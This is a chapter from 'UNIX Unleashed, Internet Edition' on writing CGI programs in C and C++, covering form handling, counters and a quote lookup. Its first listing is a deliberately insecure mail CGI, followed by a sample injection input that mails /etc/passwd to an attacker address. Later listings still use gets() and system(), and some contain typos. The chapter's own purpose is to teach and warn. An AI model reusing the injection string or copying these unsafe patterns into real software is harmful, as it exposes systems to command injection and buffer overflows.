TOC BACK FORWARD HOME

UNIX Unleashed, Internet Edition

- 20 -

Developing CGIs with C and C++

by David B. Horvath, CCP

The purpose of this chapter is to introduce you to creating CGI-BIN scripts using the C and C++ programming languages. If you have read the preceding chapters (Chapter 18, "Developing CGIs with Shells," and Chapter 19, "Developing CGIs with Perl"), you will notice duplication; part of this duplication is on purpose to provide a means of comparison. Some of the duplication is a side effect because it is much easier for you to see the information in front of you instead of having to refer back to another chapter constantly.

This chapter shows you

Why Use C/C++ for CGI Support?

You can write CGI using a number of tools including compiled languages such as C or C++, Perl, or even shell scripts in Korn and C shell. You can pick or avoid a particular tool for a number of reasons. Many people prefer to code their CGI in C/C++ because of the advanced programming capability the languages provide. In addition, these programs put a much smaller load on the server system because they are compiled (the biggest performance advantage) and may share code between invocations (copies of the program running simultaneously).

When you're using a compiled program, as long as you can ensure the security of the code or binary executable, you will have fewer security problems than if you use a shell scripting language. Remember that CGIs run as though you signed onto the server and executed the script interactively. In fact, one of the best debugging methods is to run your CGIs while signed on the server interactively.

Coding your CGI in C/C++ presents some disadvantages. First, CGIs take longer to develop and debug than writing in Perl or shell scripts. Second, although C and C++ are considered portable languages, you have to make changes when you move to another server. The final reason may be forced on you: the Internet service provider (ISP) or administrator of your server might not let you use compiled programs.

Security and Data Concurrency Issues

You must code your program carefully to prevent input data from being executed if you use the system() function.

The simple CGI program shown in Listing 20.1 has a serious security problem. This very simple program performs a simple task: It just mails a few lines of text to the user based on an e-mail address.

Listing 20.1. Simple mail-sending CGI program.

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
int main ()
{
   char address[128], fname[128], command[128];
   FILE *tempfile;

   strcpy(fname , tmpnam(NULL));
   tempfile = fopen (fname, "w");     /* create temporary file */
   if (tempfile == NULL)              /* error - didn't create file */
   {
      printf("Internal failure #1 please report %d\n", errno);
      exit (1);
   }
   fprintf(tempfile, "Thank you very much for caring about our cause\n");
   fprintf(tempfile, "this letter is just to tell you how much we\n");
   fprintf(tempfile, "really think you are wonderful for caring.\n\n");
   fprintf(tempfile, "Sincerely,\n\n");
   fprintf(tempfile, "Jane Doe, Executive Thanker\n");
fclose (tempfile);
   gets(address);                            /* read in email address */

   sprintf(command, "mail -s \"thanks for caring\" %s < %s\n",
           address, fname);                /* create the command */
   system (command);                       /* execute command */
   remove (fname);                         /* clean up */
   exit (0);
}

If the user types in the proper e-mail address, everything works fine. But if the user decides to be difficult and enter the e-mail address as

myname@myaddress.com ; mail cracker@hiding.out < /etc/passwd

then your password file is sent to cracker@hiding.out.


CAUTION: The example shown in listing 20.1 does a number of things wrong. The most serious is that it uses an array with a fixed length to contain the user's e-mail address. Make sure that your arrays can contain all the data that might be entered. The user could cause this program to fail by entering a very long e-mail address (longer than 127 characters). You should verify the CONTENT_LENGTH and CONTENT_TYPE. You can also use CONTENT_LENGTH with malloc() to dynamically allocate enough space to hold the string. Remember to allow one extra byte for the null terminator character.

The other examples in this chapter make use of dynamic memory to ensure that the data from the browser does not overflow!



NOTE: All listings are available on the CD-ROM with names in the form lst20_nn.typ where nn is the listing number (01 through 12) and typ is the file type (htm, c, or txt). When working with the examples, you have to change the filenames from the CD-ROM (or change the HTML code to the lst20_nn.typ name). You may also have to change the URLs when using them with your server.

The email address security problem may be an issue no matter which tool you're using to develop CGI scripts. See Chapter 19, "Developing CGIs with Perl," for more examples and suggestions regarding security.

Normally, when you run a program interactively, you are the only one using it in your directory (even if it is a shared executable). When you have a CGI, though, many people can be executing it concurrently in your directory. Instead of being able to create temporary files with dummy names (temp1, temp2, and so on), you now must make sure the names are unique. A good technique is to use the process id because it is guaranteed to be unique by the operating system. Using the tmpnam() function is another method, but you also can experience problems with it under heavy simultaneous use.

In addition, you must be careful when writing to or updating a file. When a program is executed serially (one at a time), this process is easy. When it is executed concurrently, then you have a problem. One of the biggest advantages to using a C/C++ program over shell scripts is the capability to lock a record or file. Most systems have functions that support file locking. Database management systems often support the capability to lock individual records (or rows).

When a shell script (or program) is executed infrequently, you can use lock files (a special file used to denote that a specific file is currently in use). But when there could be hundreds or even thousands of file accesses per second, this approach becomes unworkable--due to processing load and probability that multiple processes will be able to change the file (failure of the lock mechanism).

If you do not want to code for file locking, you can use a number of forms handlers that send the form contents as mail to the user instead of trying to append the users' input data to a file.

The Minimal Program

At a minimum, your program needs to send back the content type to the Web browser and should send back something meaningful (after all, a CGI program is executed to do something).

You should talk to your local administrator or ISP for more information on exactly how to code your URLs and where to place your files when using CGI programs. The ISP I use requires CGI programs go in the subdirectory cgi-bin under public_html. When I reference the CGI, I mention only the cgi-bin directory.

Listing 20.2 shows sample HTML to execute a simple CGI program. The query string is hard-coded to provide an example. Listing 20.3 shows the CGI program.

Listing 20.2. HTML: Executing a simple CGI Program.

<HTML>
<HEAD>
<TITLE> Test simple CGI Program</TITLE>
</HEAD>
<BODY>
<H2 ALIGN=CENTER> Test simple CGI program</H2>
<p>Click below to test the simple CGI program</P>
<ul>
<li><a href="/cgi-bin/simple?query=1"> Simple Program</a>
</ul>
</BODY>
</HTML>

Listing 20.3. C Program: Using simple CGI.

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
int main ()
{
   char *env_value;
   char *save_env;
   time_t current_time;

   printf("Content-type: text/html\n\n");
   printf("C Program Version\n");
   current_time = time(NULL);                       /* get current time */
   printf("It is now %s\n", ctime(&current_time));
   save_env = getenv("QUERY_STRING);   /* get environment variable */
   env_value = malloc(strlen(save_env) + 1);
   if (env_value == NULL)
   {
      printf("Major failure; please notify the webmaster\n");
      exit (2);
   }
   strcpy(env_value, save_env);    /* save environment variable */
printf("The query is %s\n", env_value);          /* and print it */
   printf("You are signed onto %s\n", getenv("REMOTE_HOST"));
   printf("Your IP Address is %s\n", getenv("REMOTE_ADDR"));
   fflush(stdout);              /* force physical write */
   exit (0);
}

Figure 20.1 shows the initial screen from the HTML in Listing 20.2 using the Netscape Navigator Web browser. Figure 20.2 shows the output of the CGI program.

Figure 20.1.
Initial screen: Simple CGI program.


NOTE: In all of the figures, notice that the activity indicator (the square postage-stamp-sized box near the upper-right corner of the browser) shows the AT&T "World" logo instead of the Netscape "N" logo because I use a version from the AT&T Worldnet service (the software and the service are free).

Figure 20.2.
Output screen: Simple CGI program.

The URLs on the screen images in Figures 20.1 and 20.2 do not match what is shown in the preceding HTML because I had to make some changes to get them to work with my ISP.

The text generated by the CGI program does not contain any HTML or formatting. As a result, it does not display very well, and no title appears on the top of the screen. You need to add some HTML into the programs to get them to make more sense.

Listing 20.4 shows the addition of minimal HTML for the output to be interpreted properly by the Web browser. Figure 20.3 shows the new result.

Listing 20.4. Improved simple CGI program.

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
int main ()
{
   char *env_value; 
   char *save_env;
   time_t current_time;

   printf("Content-type: text/html\n\n");
   printf("<html>\n");
   printf("<head>\n");
   printf("<title>Improved Simple Sample</title>\n");
   printf("</head> <body>\n");
   printf("<h1>This is a Heading</h1>\n");
   printf("<p> <pre>\n");
   printf("C Program Version\n");
   current_time = time(NULL);                       /* get current time */
   printf("It is now %s\n", ctime(&current_time)); 
   save_env = getenv("QUERY_STRING);   /* get environment variable */
   env_value = malloc(strlen(save_env) + 1);
   if (env_value == NULL)
   {
      printf("Major failure; please notify the webmaster\n");
      exit (2);
   }
   strcpy(env_value, save_env);   /* save environment variable */
printf("The query is %s\n", env_value);         /* and print it */
   printf("You are signed onto %s\n", getenv("REMOTE_HOST"));
   printf("Your IP Address is %s\n", getenv("REMOTE_ADDR"));
   printf("</pre> </body> </html>\n");
   fflush(stdout);              /* force physical write */
   exit (0);
}

Figure 20.3.
Output screen: Improved simple CGI program.

The result in Figure 20.3 looks a lot better. You have some more information about what you're looking at (title bar and heading), and the text does not run together.

Of course, this figure does not do too much except show you where I logged in from, my IP address, and the current time when I did the example. You can perform much more useful tasks with a CGI program, including getting data from forms, incrementing counters, and performing database lookups.

Forms

Detailed information about forms is provided in Chapters 15, "HTML--A Brief Overview," and 17, "Introduction to CGI."

One of the more common uses for CGI programs is processing the data received from HTML forms. The form method is coded as POST, and the action is the URL for your program. The user enters data through a Web browser into the form described in HTML, and when he or she clicks the Submit button, your program is executed.

Listing 20.5 shows HTML containing a form that executes a CGI program when a user clicks the Submit button. Listing 20.6 shows the CGI program.

Listing 20.5. HTML: Form processing example.

<html>
<head>
<title> Forms </title>
</head>
<body>
<FORM METHOD="POST" action="http://www.name.com/cgi-bin/forms1">
Choose your option
<SELECT NAME="Selection list" SIZE=1>
<OPTION>First
<OPTION SELECTED> Default
<OPTION>Third
</SELECT> <br>
<INPUT TYPE="HIDDEN" NAME="NotSeen" SIZE=10>
Enter Text Here <INPUT TYPE="TEXT" NAME="Text Input" SIZE=20 MAXLENGTH=25>
   Enter Your Password here
<INPUT TYPE="PASSWORD" NAME="Pswd" SIZE=6 MAXLENGTH=12> <br>
Pick one of the following <br>
<INPUT TYPE="RADIO" NAME="Radio" VALUE="First"> First <BR>
<INPUT TYPE="RADIO" NAME="Radio" VALUE="Second" CHECKED> Second <br>
Pick from of the following <br>
<INPUT TYPE="CHECKBOX" NAME="check" VALUE="First"> First
<INPUT TYPE="CHECKBOX" NAME="check" VALUE="Second" CHECKED> Second
<INPUT TYPE="CHECKBOX" NAME="check" VALUE="third" CHECKED> Third <br>
Enter your comments <TEXTAREA NAME="Comments" ROWS=2 COLUMNS=60>
 </textarea>
<p>When done, press the button below <br>
<INPUT TYPE="Submit" NAME="Submit This Form">
<INPUT TYPE="Reset" NAME="Clear">
</FORM>
</body>
</html>


NOTE: You have to change the following line from Listing 20.5 to match the name of your ISP and the proper format required:

<FORM METHOD="POST" action="http://www.name.com/cgi-bin/forms1">

You also have to change the URLs of all examples in a similar manner.


Listing 20.6 is similar to the one shown in Listing 15.14 in Chapter 15, "HTML--A Brief Introduction." Note that it includes several different types of elements--hidden, text, password (which does not echo the typed characters on the screen but does send the password as plain clear text, not encrypted), radio buttons, check boxes, text area (scrollable text window), and finally the Submit button itself. The ordering is entirely up to you, but the buttons generally go on the bottom.

Listing 20.6. Form processing example.

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
void urlencxlate(char *out_line, const char *in_line);

int main ()
{
   char *env_value, *content_type, fname[128], 
        *in_line, *out_line, command[128];
time_t current_time;
   int content_length;
   FILE *tempfile;

   printf("Content-type: text/html\n\n");
   printf("<html>\n");
   printf("<head>\n");
/*
  Handle error conditions or send success message to user
*/
   content_length = atoi(getenv("CONTENT_LENGTH"));
   env_value = getenv("CONTENT_TYPE");
   content_type = malloc (strlen(env_value) + 1);
   if (content_type == NULL)
   {
      printf("<title>Error Occurred</title>\n");
      printf("</head> <body>\n");
      printf("<p>Major failure #1; please notify the webmaster\n");
      printf("</p> </body> </html>\n");
      fflush(stdout);
      exit (2);
   }
   strcpy(content_type, env_value);
   if (content_length <= 0)
   {
      printf("<title>Error Occurred</title>\n");
printf("</head> <body>\n");
      printf("<p>The form is empty; please enter some data!\n");
printf("<br>\n");
      printf("Press the BACK key to return to the form.\n");
      printf("</p> </body> </html>\n");
      fflush(stdout);
      exit (0);
   }
   else if (strcmp(content_type, "application/x-www-form-urlencoded") != 0)
   {
      printf("<title>Content Error Occurred</title>\n");
      printf("</head> <body>\n");
      printf("<p>Internal error - invalid content type.  Please report\n");
      printf("<br>\n");
      printf("Press the BACK key to return to the form.\n");
      printf("</p> </body> </html>\n");
      fflush(stdout);
      exit (0);
   }
/*
 Create temporary file for mailing
*/
   strcpy(fname, tmpnam(NULL));
   tempfile = fopen (fname, "w");     /* create temporary file */
   if (tempfile == NULL)              /* error - didn't create file */
   {
      printf("Internal failure #1 please report %d\n", errno);
      printf("</p> </body> </html>\n");
      fflush(stdout);
      exit (1);
   }

   in_line = malloc (content_length + 1);
   if (in_line == NULL)
   {
      printf("<title>Error Occurred</title>\n");
      printf("</head> <body>\n");
      printf("<p>Major failure #2; please notify the webmaster\n");
      printf("</p> </body> </html>\n");
      fflush(stdout);
      exit (2);
   }
   out_line = malloc (content_length + 1);
   if (out_line == NULL)
   {
      printf("<title>Error Occurred</title>\n");
      printf("</head> <body>\n");
      printf("<p>Major failure #3; please notify the webmaster\n");
      printf("</p> </body> </html>\n");
      fflush(stdout);
      exit (2);
   }
   gets(in_line);                                   /* read in form data */
   current_time = time(NULL);                       /* get current time */
   fprintf(tempfile, "%s\n", ctime(&current_time));
   urlencxlate(out_line, in_line);                  /* convert */
   fprintf(tempfile, "%s\n", out_line);
   fclose(tempfile);

   printf("<title>Form Submitted</title>\n");
   printf("</head> <body>\n");
   printf("<h1>Your Form Has Been Submitted</h1>\n");
   printf("<p> Thank you very much for your input, it has been \n");
printf("submitted to our people to deal with... \n");
   printf("<br>\n");
   printf("Press the BACK key to return to the form.\n");
   printf("</p> </body> </html>\n");

/*
 Send the form data via mail; clean up the temporary file
*/
   sprintf(command, "mail -s \"form data\" someuser@somecompany.com < %s\n", fname);
   system (command);                                /* execute command */
   remove (fname);                                  /* clean up */
   exit (0);
}
void urlencxlate(char *out_line, const char *in_line)
{
   int in_length, loop_index, out_index;
   in_length = strlen(in_line);
   for (loop_index = 0, out_index = 0; loop_index < in_length; 
        loop_index++)
{
      if (in_line[loop_index] == '%')               /* needs translation */
      {
        /* if your system uses signed characters, use strtol(). */
        /* You may want to apply validity 
           checking to the individual characters */
out_line[out_index] = strtoul(in_line+loop_index + 1, NULL, 16);
         out_index++;
         loop_index += 2;                     /* skip rest of hex value */
}
      else if (in_line[loop_index] == '+')    /* make a space */
      {
         out_line[out_index] = ' ';
         out_index++;
      }
      else if (in_line[loop_index] == '&')    /* make a newline */
      {
         out_line[out_index] = '\n';
         out_index++;
      }
      else                                    /* just copy */
      {
         out_line[out_index] = in_line[loop_index];
         out_index++;
      }
   }
   out_line[out_index] = '\0';                /* null terminate string */
}

Figure 20.4 shows the completed form (before pressing the Submit button) using the Netscape Navigator Web browser. Figure 20.5 shows the output of the CGI program (the feedback to the user).

Figure 20.4.
Completed form.

Figure 20.5.
Output screen: Form response.

You should look at one more thing: the e-mail sent to someuser@somecompany.com. Listing 20.7 shows the e-mail message without the headings.

Listing 20.7. E-mail sent by CGI programs.

Mon Apr 28 20:03:50 EDT 1997
Selection list=First
NotSeen=
Text Input=this is a text box where
Pswd=123456789
Radio=Second
check=First
check=third
Comments=My comments went here
what do you think of that?
Submit This Form=Submit Query

The program uses the function urlencxlate() to translate & characters to <newline>, + to <space>, and the hexadecimal characters to the equivalent value. The escaped characters (transmitted as hexadecimal values) are translated. Be careful what characters are translated as the translation could cause the input line to be interpreted as a command to the shell itself.

Instead of mailing a file to someone at the company and forcing that person to deal with it, you could insert the data into a relational database or append it to an existing file (after locking the file to prevent other people from accessing it).

You can also set up forms to perform database queries--the user types some key information (product number, ISBN, Social Security Number, flight number, and so on), and the program looks up information based on that key. The program might fill in and display a form (providing the capability for the user to change it) or just create dynamic HTML that displays the results (inquiry or reporting only).

Counters

Although it may not be obvious from looking at HTML source code, counters are usually implemented through the use of CGI programs. The program is executed when the Web browser tries to load the image connected to it. The program receives any query string attached to the URL (usually a string to uniquely identify the page where the request came from) and returns the incremented counter.

The most common form for the counters is as a gif or jpeg image. The image looks like an automobile odometer or a digital display. In the HTML, it is referenced as follows:

<IMG SRC="http://www.domain.com/cgi-bin/counter.gif?unique_string">

The CGI program then must return an image in the proper format for the Web browser to process and display. This process is rather difficult to perform in a shell script, so the examples display a counter on its own HTML page when you click the link.

Listing 20.8 shows the HTML used to trigger the counters. Listing 20.9 shows the CGI program.

Listing 20.8. HTML: Counter example.

<html>
<head>
<title> Counters </title>
</head>
<body>
<p>A counter is designed to keep track of something.  You can trigger
a counter by describing it as am image (most browsers load images)
or explicitly by clicking on a link.
</p>
<p>You would use a link like &lt;
img src="http://www.name.com/cgi-bin/count1?up" &gt;
to update a counter.  Typically, some unique string is used as the query
to split things up.
</p>
<br>
<p>You can also have a reference like this
<a href="http://www.name.com/cgi-bin/count1?up">
to update a count.</a></p>
<br>
<p>You can also have a reference like this
<a href="http://www.name.com/cgi-bin/ count1?recall">
to recall an existing count.</a></p>
</body>
</html>

Listing 20.9. C Program: Counter example.

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

int main ()
{
   char *env_var;
   int adder, counter_value;
   FILE *counter_file;

   printf("Content-type: text/html\n\n");
   printf("<html>\n");
   printf("<head>\n");
/*
  Handle options
*/
 env_var = getenv("QUERY_STRING");
   if (strcmp(env_var, "up") == 0)  adder = 1;
   else if (strcmp(env_var, "down") == 0)  adder = -1;
   else if (strcmp(env_var, "recall") == 0)  adder = 0;
   else
   {
      printf("<title> An error occurred </title>\n");
      printf("<body> <p> someone goofed with this counter query is %s\n", 
             env_var);
printf("</p> </body> </html>\n");
      fflush(stdout);
      exit (0);
   }

   printf("<title>Counter</title>\n");
   printf("</head> <body>\n");

/*
 Open counter file
*/
/* perform file locking here and wait a reasonable time 
   (5 seconds) if lock is not available */
counter_file = fopen ("counter_file", "r+");
   if (counter_file== NULL)              /* error - didn't open file */
   {
      printf("Internal failure #1 please report %d\n", errno);
      printf("</p> </body> </html>\n");
      fflush(stdout);
      exit (1);
   }

   fscanf(counter_file, "%d", &counter_value);      /* read in counter */
   counter_value += adder;                          /* update counter */
   fseek(counter_file, 0L, SEEK_SET);               /* reset file */
   fprintf(counter_file, "%05.5d\n", counter_value);
   fclose (counter_file);
   printf("%05.5d\n", counter_value);
   printf("</p> </body> </html>\n");
   fflush(stdout);
   exit (0);
}

The counter_file begins with the value 00000. It should be set up so that the owner has read and write access to it; otherwise, it cannot be changed.

Figure 20.6 shows the screen for the initial counter example using the Netscape Navigator Web browser. Figure 20.7 shows the output of the CGI program (increment counter). Figure 20.8 shows the output for recalling the previous value (do not increment).

Figure 20.6.
The screen for the initial counter example.

Figure 20.7.
Output screen: Increment counter.

Figure 20.8.
Output screen: Recall counter.

I executed the increment counter link several times before capturing the screen image images shown in Figures 20.7 and 20.8 just to demonstrate that the value would be higher than the starting point.

A danger to this example is that no file locking is performed. The method varies depending on the operating system or version of UNIX you're using. It is glossed over with this comment:

/* perform file locking here and wait a reasonable time 
   (5 seconds) if lock is not available */

Multiple users could be executing this example concurrently, and it has no file locking code. Multiple users might see the same count because the first one does not write out the new value before the next one reads it.

This code is far from perfect and is not complete (it does not deal with things such as gif images), but it does give you an idea of what is involved.

Special Processing

Data and database lookups or searches are common uses for CGI programs. This section contains a simple example that searches through a text file for a specific record number based on a random number. In a real application, the key information would not be a (pseudo-) random number, it would be something to identify the data on the desired record. You could use the same technique--sequential searching. A better method is to use a database or at least have a program that can use indexed access to a file.

Listing 20.10 shows the HTML used to trigger the quote lookup program. Listing 20.11 shows the quote lookup program.

Listing 20.10. HTML: Data lookup example.

<html>
<head>
<title> Database access </title>
</head>
<body>
<p>You can click
<a href="http://www.name.com/cgi-bin/datab1">
here</a> to see a witty (?) saying</p>
</body>
</html>

Listing 20.11. Quote lookup example.

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

int main ()
{
   char input_line[128];
   int record_number, loop_index;
   FILE *saying_file;

   printf("Content-type: text/html\n\n");
   printf("<html>\n");
   printf("<head>\n");
   printf("<title>Witty Saying (database lookup)</title>\n");
   printf("</head> <body>\n");
/*
  No options, just get saying from file.
*/

/*
 Open counter file
*/
/* File locking not really needed - read only access */
   saying_file = fopen ("saying.file", "r");
   if (saying_file== NULL)              /* error - didn't open file */
   {
      printf("Internal failure #1 please report %d\n", errno);
      printf("</p> </body> </html>\n");
      fflush(stdout);
      exit (1);
   }

   srand(time(NULL));                 /* init pseudo-random number */
   record_number = rand()%10;         /* get and scale random number */
for (loop_index = 0; loop_index <= record_number; loop_index++)
      fgets(input_line, sizeof(input_line), saying_file);
   printf("<h2>Saying Number %d</h2>\n", record_number);
   printf("<p>\n");
   printf("%s\n", input_line);
   printf("</p> </body> </html>\n");
   fflush(stdout);
   fclose (saying_file);
   exit (0);
}

Listing 20.12 shows the file that contains the sayings: saying.file. It has a total of 11 lines, and each quotation (or message that tells what line it is on) exists on only one line.

Listing 20.12. Contents of saying.file.

This is the first line.
If at first you don't succeed, try cheating (Kirk did).
To Err is human, to forgive divine.
This is the fourth line
Murphy was an optimist!
sixth line
Now is the time for all good men to come [ccc]
to the aid of their country.  -- John F. Kennedy
Eighth line
Ninth Line
Tenth line
eleventh line

Figure 20.9 shows the screen for the initial saying lookup example using the Netscape Navigator Web browser. Figure 20.10 shows the output of the CGI program.

Figure 20.9.
The screen for the initial saying lookup example.

Figure 20.10.
Output screen: Saying lookup.

I freely admit that this example is a simple version of the fortune program found in /usr/games on many UNIX systems. The idea was to show a simple example that would not take up 10 pages or more.

The processing using the method is relatively slow because each record up to and including the one you want must be read. Multiply that number by multiple users and, suddenly, the load becomes excessive. A better example would allow for multiple lines per saying and would have an index file that points to the individual saying in the data file. The index file would have fixed length records (allowing the use of fseek() instead of a read loop) and allow the use of fseek() into the actual saying file.

Summary

In this chapter, you learned when and how to use C/C++ programs for CGI-BIN programming. The chapter covered dynamic HTML, sending responses to users, handling forms, and retrieving data. Compiled programs are not always the proper tool to use for CGI-BIN; look at the other chapters in this section for more information about shell scripts and Perl as CGI-BIN languages.

For more information about writing C and C++ in general (for CGI-BIN or other purposes), you should look at Chapter 6, "The C and C++ Programming Languages."

TOCBACKFORWARDHOME


©Copyright, Macmillan Computer Publishing. All rights reserved.